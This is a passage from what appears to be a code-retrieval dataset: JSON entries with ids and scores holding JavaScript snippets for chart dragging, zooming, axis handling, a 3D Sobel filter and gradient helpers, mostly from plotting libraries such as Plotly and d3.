ranges?\n var editX, editY;\n // graph-wide optimization flags\n var hasScatterGl, hasOnlyLargeSploms, hasSplom, hasSVG;\n\n function recomputeAxisLists() {\n xa0 = plotinfo.xaxis;\n ya0 = plotinfo.yaxis;\n pw = xa0._length;\n ph = ya0._length;\n xs = xa0._offset;\n ys = ya0._offset;\n\n xaHash = {};\n xaHash[xa0._id] = xa0;\n yaHash = {};\n yaHash[ya0._id] = ya0;\n\n // if we're dragging two axes at once, also drag overlays\n if (ns && ew) {\n var overlays = plotinfo.overlays;\n for (var i = 0; i < overlays.length; i++) {\n var xa = overlays[i].xaxis;\n xaHash[xa._id] = xa;\n var ya = overlays[i].yaxis;\n yaHash[ya._id] = ya;\n }\n }\n\n xaxes = hashValues(xaHash);\n yaxes = hashValues(yaHash);\n xActive = isDirectionActive(xaxes, ew);\n yActive = isDirectionActive(yaxes, ns);\n allFixedRanges = !yActive && !xActive;\n\n links = calcLinks(gd, xaHash, yaHash);\n isSubplotConstrained = links.isSubplotConstrained;\n editX = ew || isSubplotConstrained;\n editY = ns || isSubplotConstrained;\n\n var fullLayout = gd._fullLayout;\n hasScatterGl = fullLayout._has('scattergl');\n hasOnlyLargeSploms = fullLayout._hasOnlyLargeSploms;\n hasSplom = hasOnlyLargeSploms || fullLayout._has('splom');\n hasSVG = fullLayout._has('svg');\n }\n\n recomputeAxisLists();\n\n var cursor = getDragCursor(yActive + xActive, gd._fullLayout.dragmode, isMainDrag);\n var dragger = makeRectDragger(plotinfo, ns + ew + 'drag', cursor, x, y, w, h);\n\n // still need to make the element if the axes are disabled\n // but nuke its events (except for maindrag which needs them for hover)\n // and stop there\n if (allFixedRanges && !isMainDrag) {\n dragger.onmousedown = null;\n dragger.style.pointerEvents = 'none';\n return dragger;\n }\n\n var dragOptions = {\n element: dragger,\n gd: gd,\n plotinfo: plotinfo\n };\n\n dragOptions.prepFn = function (e, startX, startY) {\n var dragModeNow = gd._fullLayout.dragmode;\n\n recomputeAxisLists();\n\n if (!allFixedRanges) {\n if (isMainDrag) {\n // main dragger handles all drag modes, and changes\n // to pan (or to zoom if it already is pan) on shift\n if (e.shiftKey) {\n if (dragModeNow === 'pan') dragModeNow = 'zoom';else if (!isSelectOrLasso(dragModeNow)) dragModeNow = 'pan';\n } else if (e.ctrlKey) {\n dragModeNow = 'pan';\n }\n }\n // all other draggers just pan\n else dragModeNow = 'pan';\n }\n\n if (dragModeNow === 'lasso') dragOptions.minDrag = 1;else dragOptions.minDrag = undefined;\n\n if (isSelectOrLasso(dragModeNow)) {\n dragOptions.xaxes = xaxes;\n dragOptions.yaxes = yaxes;\n // this attaches moveFn, clickFn, doneFn on dragOptions\n prepSelect(e, startX, startY, dragOptions, dragModeNow);\n } else {\n dragOptions.clickFn = clickFn;\n clearAndResetSelect();\n\n if (!allFixedRanges) {\n if (dragModeNow === 'zoom') {\n dragOptions.moveFn = zoomMove;\n dragOptions.doneFn = zoomDone;\n\n // zoomMove takes care of the threshold, but we need to\n // minimize this so that constrained zoom boxes will flip\n // orientation at the right place\n dragOptions.minDrag = 1;\n\n zoomPrep(e, startX, startY);\n } else if (dragModeNow === 'pan') {\n dragOptions.moveFn = plotDrag;\n dragOptions.doneFn = dragTail;\n }\n }\n }\n };\n\n function clearAndResetSelect() {\n // clear selection polygon cache (if any)\n dragOptions.plotinfo.selection = false;\n // clear selection outlines\n clearSelect(zoomlayer);\n }\n\n function clickFn(numClicks, evt) {\n removeZoombox(gd);\n\n if (numClicks === 2 && !singleEnd) doubleClick();\n\n if (isMainDrag) {\n Fx.click(gd, evt, plotinfo.id);\n } else if (numClicks === 1 && singleEnd) {\n var ax = ns ? ya0 : xa0,\n end = ns === 's' || ew === 'w' ? 0 : 1,\n attrStr = ax._name + '.range[' + end + ']',\n initialText = getEndText(ax, end),\n hAlign = 'left',\n vAlign = 'middle';\n\n if (ax.fixedrange) return;\n\n if (ns) {\n vAlign = ns === 'n' ? 'top' : 'bottom';\n if (ax.side === 'right') hAlign = 'right';\n } else if (ew === 'e') hAlign = 'right';\n\n if (gd._context.showAxisRangeEntryBoxes) {\n d3.select(dragger).call(svgTextUtils.makeEditable, {\n gd: gd,\n immediate: true,\n background: gd._fullLayout.paper_bgcolor,\n text: String(initialText),\n fill: ax.tickfont ? ax.tickfont.color : '#444',\n horizontalAlign: hAlign,\n verticalAlign: vAlign\n }).on('edit', function (text) {\n var v = ax.d2r(text);\n if (v !== undefined) {\n Registry.call('relayout', gd, attrStr, v);\n }\n });\n }\n }\n }\n\n dragElement.init(dragOptions);\n\n var x0, y0, box, lum, path0, dimmed, zoomMode, zb, corners;\n\n // zoom takes over minDrag, so it also has to take over gd._dragged\n var zoomDragged;\n\n // collected changes to be made to the plot by relayout at the end\n var updates = {};\n\n function zoomPrep(e, startX, startY) {\n var dragBBox = dragger.getBoundingClientRect();\n x0 = startX - dragBBox.left;\n y0 = startY - dragBBox.top;\n box = { l: x0, r: x0, w: 0, t: y0, b: y0, h: 0 };\n lum = gd._hmpixcount ? gd._hmlumcount / gd._hmpixcount : tinycolor(gd._fullLayout.plot_bgcolor).getLuminance();\n path0 = 'M0,0H' + pw + 'V' + ph + 'H0V0';\n dimmed = false;\n zoomMode = 'xy';\n zoomDragged = false;\n\n zb = makeZoombox(zoomlayer, lum, xs, ys, path0);\n\n corners = makeCorners(zoomlayer, xs, ys);\n }\n\n function zoomMove(dx0, dy0) {\n if (gd._transitioningWithDuration) {\n return false;\n }\n\n var x1 = Math.max(0, Math.min(pw, dx0 + x0)),\n y1 = Math.max(0, Math.min(ph, dy0 + y0)),\n dx = Math.abs(x1 - x0),\n dy = Math.abs(y1 - y0);\n\n box.l = Math.min(x0, x1);\n box.r = Math.max(x0, x1);\n box.t = Math.min(y0, y1);\n box.b = Math.max(y0, y1);\n\n function noZoom() {\n zoomMode = '';\n box.r = box.l;\n box.t = box.b;\n corners.attr('d', 'M0,0Z');\n }\n\n if (isSubplotConstrained) {\n if (dx > MINZOOM || dy > MINZOOM) {\n zoomMode = 'xy';\n if (dx / pw > dy / ph) {\n dy = dx * ph / pw;\n if (y0 > y1) box.t = y0 - dy;else box.b = y0 + dy;\n } else {\n dx = dy * pw / ph;\n if (x0 > x1) box.l = x0 - dx;else box.r = x0 + dx;\n }\n corners.attr('d', xyCorners(box));\n } else {\n noZoom();\n }\n }\n // look for small drags in one direction or the other,\n // and only drag the other axis\n else if (!yActive || dy < Math.min(Math.max(dx * 0.6, MINDRAG), MINZOOM)) {\n if (dx < MINDRAG || !xActive) {\n noZoom();\n } else {\n box.t = 0;\n box.b = ph;\n zoomMode = 'x';\n corners.attr('d', xCorners(box, y0));\n }\n } else if (!xActive || dx < Math.min(dy * 0.6, MINZOOM)) {\n box.l = 0;\n box.r = pw;\n zoomMode = 'y';\n corners.attr('d', yCorners(box, x0));\n } else {\n zoomMode = 'xy';\n corners.attr('d', xyCorners(box));\n }\n box.w = box.r - box.l;\n box.h = box.b - box.t;\n\n if (zoomMode) zoomDragged = true;\n gd._dragged = zoomDragged;\n\n updateZoombox(zb, corners, box, path0, dimmed, lum);\n dimmed = true;\n }\n\n function zoomDone() {\n // more strict than dragged, which allows you to come back to where you started\n // and still count as dragged\n if (Math.min(box.h, box.w) < MINDRAG * 2) {\n return removeZoombox(gd);\n }\n\n // TODO: edit linked axes in zoomAxRanges and in dragTail\n if (zoomMode === 'xy' || zoomMode === 'x') {\n zoomAxRanges(xaxes, box.l / pw, box.r / pw, updates, links.xaxes);\n }\n if (zoomMode === 'xy' || zoomMode === 'y') {\n zoomAxRanges(yaxes, (ph - box.b) / ph, (ph - box.t) / ph, updates, links.yaxes);\n }\n\n removeZoombox(gd);\n dragTail();\n showDoubleClickNotifier(gd);\n }\n\n // scroll zoom, on all draggers except corners\n var scrollViewBox = [0, 0, pw, ph];\n // wait a little after scrolling before redrawing\n var redrawTimer = null;\n var REDRAWDELAY = constants.REDRAWDELAY;\n var mainplot = plotinfo.mainplot ? gd._fullLayout._plots[plotinfo.mainplot] : plotinfo;\n\n function zoomWheel(e) {\n // deactivate mousewheel scrolling on embedded graphs\n // devs can override this with layout._enablescrollzoom,\n // but _ ensures this setting won't leave their page\n if (!gd._context.scrollZoom && !gd._fullLayout._enablescrollzoom) {\n return;\n }\n\n clearAndResetSelect();\n\n // If a transition is in progress, then disable any behavior:\n if (gd._transitioningWithDuration) {\n e.preventDefault();\n e.stopPropagation();\n return;\n }\n\n var pc = gd.querySelector('.plotly');\n\n recomputeAxisLists();\n\n // if the plot has scrollbars (more than a tiny excess)\n // disable scrollzoom too.\n if (pc.scrollHeight - pc.clientHeight > 10 || pc.scrollWidth - pc.clientWidth > 10) {\n return;\n }\n\n clearTimeout(redrawTimer);\n\n var wheelDelta = -e.deltaY;\n if (!isFinite(wheelDelta)) wheelDelta = e.wheelDelta / 10;\n if (!isFinite(wheelDelta)) {\n Lib.log('Did not find wheel motion attributes: ', e);\n return;\n }\n\n var zoom = Math.exp(-Math.min(Math.max(wheelDelta, -20), 20) / 200),\n gbb = mainplot.draglayer.select('.nsewdrag').node().getBoundingClientRect(),\n xfrac = (e.clientX - gbb.left) / gbb.width,\n yfrac = (gbb.bottom - e.clientY) / gbb.height,\n i;\n\n function zoomWheelOneAxis(ax, centerFraction, zoom) {\n if (ax.fixedrange) return;\n\n var axRange = Lib.simpleMap(ax.range, ax.r2l),\n v0 = axRange[0] + (axRange[1] - axRange[0]) * centerFraction;\n function doZoom(v) {\n return ax.l2r(v0 + (v - v0) * zoom);\n }\n ax.range = axRange.map(doZoom);\n }\n\n if (editX) {\n // if we're only zooming this axis because of constraints,\n // zoom it about the center\n if (!ew) xfrac = 0.5;\n\n for (i = 0; i < xaxes.length; i++) {\n zoomWheelOneAxis(xaxes[i], xfrac, zoom);\n }\n\n scrollViewBox[2] *= zoom;\n scrollViewBox[0] += scrollViewBox[2] * xfrac * (1 / zoom - 1);\n }\n if (editY) {\n if (!ns) yfrac = 0.5;\n\n for (i = 0; i < yaxes.length; i++) {\n zoomWheelOneAxis(yaxes[i], yfrac, zoom);\n }\n\n scrollViewBox[3] *= zoom;\n scrollViewBox[1] += scrollViewBox[3] * (1 - yfrac) * (1 / zoom - 1);\n }\n\n // viewbox redraw at first\n updateSubplots(scrollViewBox);\n ticksAndAnnotations(ns, ew);\n\n // then replot after a delay to make sure\n // no more scrolling is coming\n redrawTimer = setTimeout(function () {\n scrollViewBox = [0, 0, pw, ph];\n dragTail();\n }, REDRAWDELAY);\n\n e.preventDefault();\n return;\n }\n\n // everything but the corners gets wheel zoom\n if (ns.length * ew.length !== 1) {\n attachWheelEventHandler(dragger, zoomWheel);\n }\n\n // plotDrag: move the plot in response to a drag\n function plotDrag(dx, dy) {\n // If a transition is in progress, then disable any behavior:\n if (gd._transitioningWithDuration) {\n return;\n }\n\n if (xActive === 'ew' || yActive === 'ns') {\n if (xActive) dragAxList(xaxes, dx);\n if (yActive) dragAxList(yaxes, dy);\n updateSubplots([xActive ? -dx : 0, yActive ? -dy : 0, pw, ph]);\n ticksAndAnnotations(yActive, xActive);\n return;\n }\n\n // dz: set a new value for one end (0 or 1) of an axis array axArray,\n // and return a pixel shift for that end for the viewbox\n // based on pixel drag distance d\n // TODO: this makes (generally non-fatal) errors when you get\n // near floating point limits\n function dz(axArray, end, d) {\n var otherEnd = 1 - end,\n movedAx,\n newLinearizedEnd;\n for (var i = 0; i < axArray.length; i++) {\n var axi = axArray[i];\n if (axi.fixedrange) continue;\n movedAx = axi;\n newLinearizedEnd = axi._rl[otherEnd] + (axi._rl[end] - axi._rl[otherEnd]) / dZoom(d / axi._length);\n var newEnd = axi.l2r(newLinearizedEnd);\n\n // if l2r comes back false or undefined, it means we've dragged off\n // the end of valid ranges - so stop.\n if (newEnd !== false && newEnd !== undefined) axi.range[end] = newEnd;\n }\n return movedAx._length * (movedAx._rl[end] - newLinearizedEnd) / (movedAx._rl[end] - movedAx._rl[otherEnd]);\n }\n\n if (isSubplotConstrained && xActive && yActive) {\n // dragging a corner of a constrained subplot:\n // respect the fixed corner, but harmonize dx and dy\n var dxySign = xActive === 'w' === (yActive === 'n') ? 1 : -1;\n var dxyFraction = (dx / pw + dxySign * dy / ph) / 2;\n dx = dxyFraction * pw;\n dy = dxySign * dxyFraction * ph;\n }\n\n if (xActive === 'w') dx = dz(xaxes, 0, dx);else if (xActive === 'e') dx = dz(xaxes, 1, -dx);else if (!xActive) dx = 0;\n\n if (yActive === 'n') dy = dz(yaxes, 1, dy);else if (yActive === 's') dy = dz(yaxes, 0, -dy);else if (!yActive) dy = 0;\n\n var x0 = xActive === 'w' ? dx : 0;\n var y0 = yActive === 'n' ? dy : 0;\n\n if (isSubplotConstrained) {\n var i;\n if (!xActive && yActive.length === 1) {\n // dragging one end of the y axis of a constrained subplot\n // scale the other axis the same about its middle\n for (i = 0; i < xaxes.length; i++) {\n xaxes[i].range = xaxes[i]._r.slice();\n scaleZoom(xaxes[i], 1 - dy / ph);\n }\n dx = dy * pw / ph;\n x0 = dx / 2;\n }\n if (!yActive && xActive.length === 1) {\n for (i = 0; i < yaxes.length; i++) {\n yaxes[i].range = yaxes[i]._r.slice();\n scaleZoom(yaxes[i], 1 - dx / pw);\n }\n dy = dx * ph / pw;\n y0 = dy / 2;\n }\n }\n\n updateSubplots([x0, y0, pw - dx, ph - dy]);\n ticksAndAnnotations(yActive, xActive);\n }\n\n // Draw ticks and annotations (and other components) when ranges change.\n // Also records the ranges that have changed for use by update at the end.\n function ticksAndAnnotations(ns, ew) {\n var activeAxIds = [],\n i;\n\n function pushActiveAxIds(axList) {\n for (i = 0; i < axList.length; i++) {\n if (!axList[i].fixedrange) activeAxIds.push(axList[i]._id);\n }\n }\n\n if (editX) {\n pushActiveAxIds(xaxes);\n pushActiveAxIds(links.xaxes);\n }\n if (editY) {\n pushActiveAxIds(yaxes);\n pushActiveAxIds(links.yaxes);\n }\n\n updates = {};\n for (i = 0; i < activeAxIds.length; i++) {\n var axId = activeAxIds[i];\n doTicksSingle(gd, axId, true);\n var ax = getFromId(gd, axId);\n updates[ax._name + '.range[0]'] = ax.range[0];\n updates[ax._name + '.range[1]'] = ax.range[1];\n }\n\n function redrawObjs(objArray, method, shortCircuit) {\n for (i = 0; i < objArray.length; i++) {\n var obji = objArray[i];\n\n if (ew && activeAxIds.indexOf(obji.xref) !== -1 || ns && activeAxIds.indexOf(obji.yref) !== -1) {\n method(gd, i);\n // once is enough for images (which doesn't use the `i` arg anyway)\n if (shortCircuit) return;\n }\n }\n }\n\n // annotations and shapes 'draw' method is slow,\n // use the finer-grained 'drawOne' method instead\n\n redrawObjs(gd._fullLayout.annotations || [], Registry.getComponentMethod('annotations', 'drawOne'));\n redrawObjs(gd._fullLayout.shapes || [], Registry.getComponentMethod('shapes', 'drawOne'));\n redrawObjs(gd._fullLayout.images || [], Registry.getComponentMethod('images', 'draw'), true);\n }\n\n function doubleClick() {\n if (gd._transitioningWithDuration) return;\n\n var doubleClickConfig = gd._context.doubleClick,\n axList = (xActive ? xaxes : []).concat(yActive ? yaxes : []),\n attrs = {};\n\n var ax, i, rangeInitial;\n\n // For reset+autosize mode:\n // If *any* of the main axes is not at its initial range\n // (or autoranged, if we have no initial range, to match the logic in\n // doubleClickConfig === 'reset' below), we reset.\n // If they are *all* at their initial ranges, then we autosize.\n if (doubleClickConfig === 'reset+autosize') {\n\n doubleClickConfig = 'autosize';\n\n for (i = 0; i < axList.length; i++) {\n ax = axList[i];\n if (ax._rangeInitial && (ax.range[0] !== ax._rangeInitial[0] || ax.range[1] !== ax._rangeInitial[1]) || !ax._rangeInitial && !ax.autorange) {\n doubleClickConfig = 'reset';\n break;\n }\n }\n }\n\n if (doubleClickConfig === 'autosize') {\n // don't set the linked axes here, so relayout marks them as shrinkable\n // and we autosize just to the requested axis/axes\n for (i = 0; i < axList.length; i++) {\n ax = axList[i];\n if (!ax.fixedrange) attrs[ax._name + '.autorange'] = true;\n }\n } else if (doubleClickConfig === 'reset') {\n // when we're resetting, reset all linked axes too, so we get back\n // to the fully-auto-with-constraints situation\n if (xActive || isSubplotConstrained) axList = axList.concat(links.xaxes);\n if (yActive && !isSubplotConstrained) axList = axList.concat(links.yaxes);\n\n if (isSubplotConstrained) {\n if (!xActive) axList = axList.concat(xaxes);else if (!yActive) axList = axList.concat(yaxes);\n }\n\n for (i = 0; i < axList.length; i++) {\n ax = axList[i];\n\n if (!ax._rangeInitial) {\n attrs[ax._name + '.autorange'] = true;\n } else {\n rangeInitial = ax._rangeInitial;\n attrs[ax._name + '.range[0]'] = rangeInitial[0];\n attrs[ax._name + '.range[1]'] = rangeInitial[1];\n }\n }\n }\n\n gd.emit('plotly_doubleclick', null);\n Registry.call('relayout', gd, attrs);\n }\n\n // dragTail - finish a drag event with a redraw\n function dragTail() {\n // put the subplot viewboxes back to default (Because we're going to)\n // be repositioning the data in the relayout. But DON'T call\n // ticksAndAnnotations again - it's unnecessary and would overwrite `updates`\n updateSubplots([0, 0, pw, ph]);\n\n // since we may have been redrawing some things during the drag, we may have\n // accumulated MathJax promises - wait for them before we relayout.\n Lib.syncOrAsync([Plots.previousPromises, function () {\n Registry.call('relayout', gd, updates);\n }], gd);\n }\n\n // x/y scaleFactor stash,\n // minimizes number of per-point DOM updates in updateSubplots below\n var xScaleFactorOld, yScaleFactorOld;\n\n // updateSubplots - find all plot viewboxes that should be\n // affected by this drag, and update them. look for all plots\n // sharing an affected axis (including the one being dragged),\n // includes also scattergl and splom logic.\n function updateSubplots(viewBox) {\n var fullLayout = gd._fullLayout;\n var plotinfos = fullLayout._plots;\n var subplots = fullLayout._subplots.cartesian;\n var i, sp, xa, ya;\n\n if (hasSplom || hasScatterGl) {\n clearGlCanvases(gd);\n }\n\n if (hasSplom) {\n Registry.subplotsRegistry.splom.drag(gd);\n if (hasOnlyLargeSploms) return;\n }\n\n if (hasScatterGl) {\n // loop over all subplots (w/o exceptions) here,\n // as we cleared the gl canvases above\n for (i = 0; i < subplots.length; i++) {\n sp = plotinfos[subplots[i]];\n xa = sp.xaxis;\n ya = sp.yaxis;\n\n var scene = sp._scene;\n if (scene) {\n // FIXME: possibly we could update axis internal _r and _rl here\n var xrng = Lib.simpleMap(xa.range, xa.r2l);\n var yrng = Lib.simpleMap(ya.range, ya.r2l);\n scene.update({ range: [xrng[0], yrng[0], xrng[1], yrng[1]] });\n }\n }\n }\n\n if (hasSVG) {\n var xScaleFactor = viewBox[2] / xa0._length;\n var yScaleFactor = viewBox[3] / ya0._length;\n\n for (i = 0; i < subplots.length; i++) {\n sp = plotinfos[subplots[i]];\n xa = sp.xaxis;\n ya = sp.yaxis;\n\n var editX2 = editX && !xa.fixedrange && xaHash[xa._id];\n var editY2 = editY && !ya.fixedrange && yaHash[ya._id];\n\n var xScaleFactor2, yScaleFactor2;\n var clipDx, clipDy;\n\n if (editX2) {\n xScaleFactor2 = xScaleFactor;\n clipDx = ew ? viewBox[0] : getShift(xa, xScaleFactor2);\n } else {\n xScaleFactor2 = getLinkedScaleFactor(xa, xScaleFactor, yScaleFactor);\n clipDx = scaleAndGetShift(xa, xScaleFactor2);\n }\n\n if (editY2) {\n yScaleFactor2 = yScaleFactor;\n clipDy = ns ? viewBox[1] : getShift(ya, yScaleFactor2);\n } else {\n yScaleFactor2 = getLinkedScaleFactor(ya, xScaleFactor, yScaleFactor);\n clipDy = scaleAndGetShift(ya, yScaleFactor2);\n }\n\n // don't scale at all if neither axis is scalable here\n if (!xScaleFactor2 && !yScaleFactor2) {\n continue;\n }\n\n // but if only one is, reset the other axis scaling\n if (!xScaleFactor2) xScaleFactor2 = 1;\n if (!yScaleFactor2) yScaleFactor2 = 1;\n\n var plotDx = xa._offset - clipDx / xScaleFactor2;\n var plotDy = ya._offset - clipDy / yScaleFactor2;\n\n // TODO could be more efficient here:\n // setTranslate and setScale do a lot of extra work\n // when working independently, should perhaps combine\n // them into a single routine.\n sp.clipRect.call(Drawing.setTranslate, clipDx, clipDy).call(Drawing.setScale, xScaleFactor2, yScaleFactor2);\n\n sp.plot.call(Drawing.setTranslate, plotDx, plotDy).call(Drawing.setScale, 1 / xScaleFactor2, 1 / yScaleFactor2);\n\n // apply an inverse scale to individual points to counteract\n // the scale of the trace group.\n // apply only when scale changes, as adjusting the scale of\n // all the points can be expansive.\n if (xScaleFactor2 !== xScaleFactorOld || yScaleFactor2 !== yScaleFactorOld) {\n Drawing.setPointGroupScale(sp.zoomScalePts, xScaleFactor2, yScaleFactor2);\n Drawing.setTextPointsScale(sp.zoomScaleTxt, xScaleFactor2, yScaleFactor2);\n }\n\n Drawing.hideOutsideRangePoints(sp.clipOnAxisFalseTraces, sp);\n\n // update x/y scaleFactor stash\n xScaleFactorOld = xScaleFactor2;\n yScaleFactorOld = yScaleFactor2;\n }\n }\n }\n\n // Find the appropriate scaling for this axis, if it's linked to the\n // dragged axes by constraints. 0 is special, it means this axis shouldn't\n // ever be scaled (will be converted to 1 if the other axis is scaled)\n function getLinkedScaleFactor(ax, xScaleFactor, yScaleFactor) {\n if (ax.fixedrange) return 0;\n\n if (editX && links.xaHash[ax._id]) {\n return xScaleFactor;\n }\n if (editY && (isSubplotConstrained ? links.xaHash : links.yaHash)[ax._id]) {\n return yScaleFactor;\n }\n return 0;\n }\n\n function scaleAndGetShift(ax, scaleFactor) {\n if (scaleFactor) {\n ax.range = ax._r.slice();\n scaleZoom(ax, scaleFactor);\n return getShift(ax, scaleFactor);\n }\n return 0;\n }\n\n function getShift(ax, scaleFactor) {\n return ax._length * (1 - scaleFactor) * FROM_TL[ax.constraintoward || 'middle'];\n }\n\n return dragger;\n }", "title": "" }, { "docid": "717934c7cb1ebe2ce0c460e4834fb96e", "score": "0.4756628", "text": "update() {\n console.assert(this.m_z >= 0);\n console.assert(this.m_pixelsDst !== null);\n const pixelsSrc = this.m_vol.m_dataArray;\n\n const xDim = this.m_vol.m_xDim;\n const yDim = this.m_vol.m_yDim;\n const zDim = this.m_vol.m_zDim;\n const xyDim = xDim * yDim;\n\n const STEP = 24;\n const zNext = Math.floor((this.m_iter + 1) * zDim / STEP);\n // console.log('Sobel update z from ' + this.m_z.toString() + ' until ' + zNext.toString());\n\n // let maxSqrt = 0;\n\n // update all z slices from this.m_z to zNext\n let off = this.m_z * xyDim;\n for (let z = this.m_z; z < zNext; z++) {\n for (let y = 0; y < yDim; y++) {\n for (let x = 0; x < xDim; x++) {\n let sumDx = 0.0, sumDy = 0.0, sumDz = 0.0;\n for (let dz = -1; dz <= +1; dz++) {\n let zz = z + dz;\n zz = (zz >= 0) ? zz : 0;\n zz = (zz < zDim) ? zz : (zDim - 1);\n const zzOff = zz * xyDim;\n for (let dy = -1; dy <= +1; dy++) {\n let yy = y + dy;\n yy = (yy >= 0) ? yy : 0;\n yy = (yy < yDim) ? yy : (yDim - 1);\n const yyOff = yy * xDim;\n for (let dx = -1; dx <= +1; dx++) {\n let xx = x + dx;\n xx = (xx >= 0) ? xx : 0;\n xx = (xx < xDim) ? xx : (xDim - 1);\n \n const val = pixelsSrc[xx + yyOff + zzOff];\n \n let kx = 1;\n if (dy === 0)\n kx *= 2;\n if (dz === 0)\n kx *= 2;\n sumDx += dx * val * kx;\n \n let ky = 1;\n if (dx === 0)\n ky *= 2;\n if (dz === 0)\n ky *= 2;\n sumDy += dy * val * ky;\n \n let kz = 1;\n if (dx === 0)\n kz *= 2;\n if (dy === 0)\n kz *= 2;\n sumDz += dz * val * kz;\n \n } // for dx\n } // for dy\n } // for dz\n\n // tricky fast convert float to int (for positive values only)\n const dotProd = (sumDx * sumDx + sumDy * sumDy + sumDz * sumDz) | 0;\n console.assert(dotProd < MAX_SQRT);\n\n this.m_pixelsDst[off] = this.m_sqrtTable[dotProd];\n off++;\n \n } // for x\n } // for y\n } // for z all slices\n\n // console.log('max sqrt = ' + maxSqrt.toString());\n\n // update iteration parameters\n this.m_iter += 1;\n this.m_z = zNext;\n }", "title": "" }, { "docid": "6b1d714e19d27a2c478f2775fcc20b9a", "score": "0.475059", "text": "function attachCoordAxis()\n{\n for(var i = 0; i < 3; i++)\n scene.add(axisArr[i]);\n}", "title": "" }, { "docid": "0b9f01cd0f6a9c2786c74964d1c8c89a", "score": "0.47417176", "text": "function determineOffset(){\n\n\t\t\t\treturn coordinates.data[ \"drag\" + axis ] || 0;\n\n\t\t\t}", "title": "" }, { "docid": "6ed3a233a84efc681d228f8bf52e313b", "score": "0.47299606", "text": "function transformAxis(axis,transforms,_a){var _b=__read(_a,3),key=_b[0],scaleKey=_b[1],originKey=_b[2];var axisOrigin=transforms[originKey]!==undefined?transforms[originKey]:0.5;var originPoint=mix(axis.min,axis.max,axisOrigin);// Apply the axis delta to the final axis\napplyAxisDelta(axis,transforms[key],transforms[scaleKey],originPoint,transforms.scale);}", "title": "" }, { "docid": "ea42c01ef6e92a93fd09d6f65eb4caa6", "score": "0.47286397", "text": "dy(y=0){return this.y(new SVGNumber(y).plus(this.y()))}", "title": "" }, { "docid": "44af5b1c4dd3796c89f88a4700a5787f", "score": "0.47270745", "text": "function gradForMinAndMax(dy, y, xOrig, origAxes) {\n if (y.rank < xOrig.rank) {\n y = reshape(y, expandShapeToKeepDim(y.shape, origAxes));\n }\n if (dy.rank < xOrig.rank) {\n dy = reshape(dy, expandShapeToKeepDim(dy.shape, origAxes));\n }\n return {\n x: () => {\n const dx = mul(dy, cast(equal(xOrig, y), dy.dtype));\n return dx;\n }\n };\n}", "title": "" }, { "docid": "16d5a7a49caffa08b7d4d3cb5cea1450", "score": "0.4712685", "text": "function zoom() {\n xAxis.transition().call(d3.axisBottom(x).ticks(ticks));\n yAxis.transition().call(d3.axisLeft(y));\n\n line.transition().attr(\"d\", valueline);\n }", "title": "" }, { "docid": "f418c924d2190d04afc378ca686bff4d", "score": "0.47097322", "text": "function zoomed() {\n // console.log(d3.event);\n if (d3.event.scale === 1) { // dragging\n if (d3.event.sourceEvent.webkitMovementX != null) {\n var dir = -d3.event.sourceEvent.webkitMovementX * .2;\n } else {\n var dir = -d3.event.translate[0] / 25;\n }\n\n var tx1 = x2(brush.extent()[0]) + dir;\n var tx2 = x2(brush.extent()[1]) + dir;\n\n if (tx1 < min + 1) {\n tx2 += min + 1 - tx1;\n tx1 = min + 1;\n }\n if (tx2 > w + m[1]) {\n tx1 += w + m[1] - tx2;\n tx2 = w + m[1];\n }\n d3.select(\".extent\").attr(\"x\", tx1);\n brush.extent([x2.invert(tx1), x2.invert(tx2)]);\n x.domain(brush.extent());\n brushed();\n\n zoom.translate([0,0]);\n } else {\n var zScale = d3.event.scale;\n var mid = (x2(brush.extent()[1]) - x2(brush.extent()[0])) / 2 + x2(brush.extent()[0]);\n var zWidth = (x2(brush.extent()[1]) - x2(brush.extent()[0])) * zScale;\n\n var ts1 = mid - zWidth / 2;\n var ts2 = mid + zWidth / 2;\n\n if (zWidth > x2(minDate.setMonth(minDate.getMonth() + 1)) - min) {\n if (ts1 < min + 1)\n ts1 = min + 1;\n\n if (ts2 > w + m[1])\n ts2 = w + m[1];\n\n d3.select(\".extent\").attr(\"x\", ts1);\n d3.select(\".extent\").attr(\"width\", zWidth);\n\n brush.extent([x2.invert(ts1), x2.invert(ts2)])\n x.domain(brush.extent());\n brushed();\n }\n minDate.setMonth(minDate.getMonth() - 1);\n zoom.scale(1)\n }\n }", "title": "" }, { "docid": "59dbc19b66debabe8db0e5635203b43f", "score": "0.46956328", "text": "function dragTail(zoommode) {\n\t var attrs = {};\n\t // revert to the previous axis settings, then apply the new ones\n\t // through relayout - this lets relayout manage undo/redo\n\t for(var i = 0; i < allaxes.length; i++) {\n\t var axi = allaxes[i];\n\t if(zoommode && zoommode.indexOf(axi._id.charAt(0))===-1) {\n\t continue;\n\t }\n\t if(axi._r[0] !== axi.range[0]) attrs[axi._name+'.range[0]'] = axi.range[0];\n\t if(axi._r[1] !== axi.range[1]) attrs[axi._name+'.range[1]'] = axi.range[1];\n\n\t axi.range=axi._r.slice();\n\t }\n\n\t updateViewBoxes([0,0,pw,ph]);\n\t Plotly.relayout(gd,attrs);\n\t }", "title": "" }, { "docid": "5bfc792bc3ff07c0a8a4c2e7ebfa57e2", "score": "0.46789104", "text": "function resolveDragElastic(dragElastic){if(dragElastic===void 0){dragElastic=defaultElastic;}if(dragElastic===false){dragElastic=0;}else if(dragElastic===true){dragElastic=defaultElastic;}return{x:resolveAxisElastic(dragElastic,\"left\",\"right\"),y:resolveAxisElastic(dragElastic,\"top\",\"bottom\")};}", "title": "" }, { "docid": "d8fba5d06955fb0bc1be387c548fc5e4", "score": "0.46761012", "text": "function increaseXY() {\n resetAnimation();\n brd1.update();\n AD2.point1.moveTo([3.0, 11.0], 1000);\n AD2.point2.moveTo([11.0, 3.0], 1000);\n AD2.setAttribute({\n withLabel: true,\n offset: [125, -85]\n });\n brd1.update();\n }", "title": "" }, { "docid": "efb26ca7f5c5ef3b7235ba608b1a7c99", "score": "0.46740183", "text": "function gradForMinAndMax(dy, y, xOrig, origAxes, permutedAxes) {\n if (y.rank < xOrig.rank) {\n y = y.reshape(axis_util.expandShapeToKeepDim(y.shape, origAxes));\n }\n if (dy.rank < xOrig.rank) {\n dy = dy.reshape(axis_util.expandShapeToKeepDim(dy.shape, origAxes));\n }\n return {\n x: function () {\n var dx = dy.mul(xOrig.equal(y).cast(dy.dtype));\n return permutedAxes == null ? dx : dx.transpose(permutedAxes);\n }\n };\n}", "title": "" }, { "docid": "04279e2e87af97d916c900a6b345ed9e", "score": "0.46730056", "text": "setOffsetAngle() {\n if (this.options.rotateChart === 'asc') {\n this.offsetAngle = (180 - this.chartData.primary.angles.asc.chartAngle) * -1;\n }\n else if (this.options.rotateChart === 'horizon') {\n this.offsetAngle = (180 - 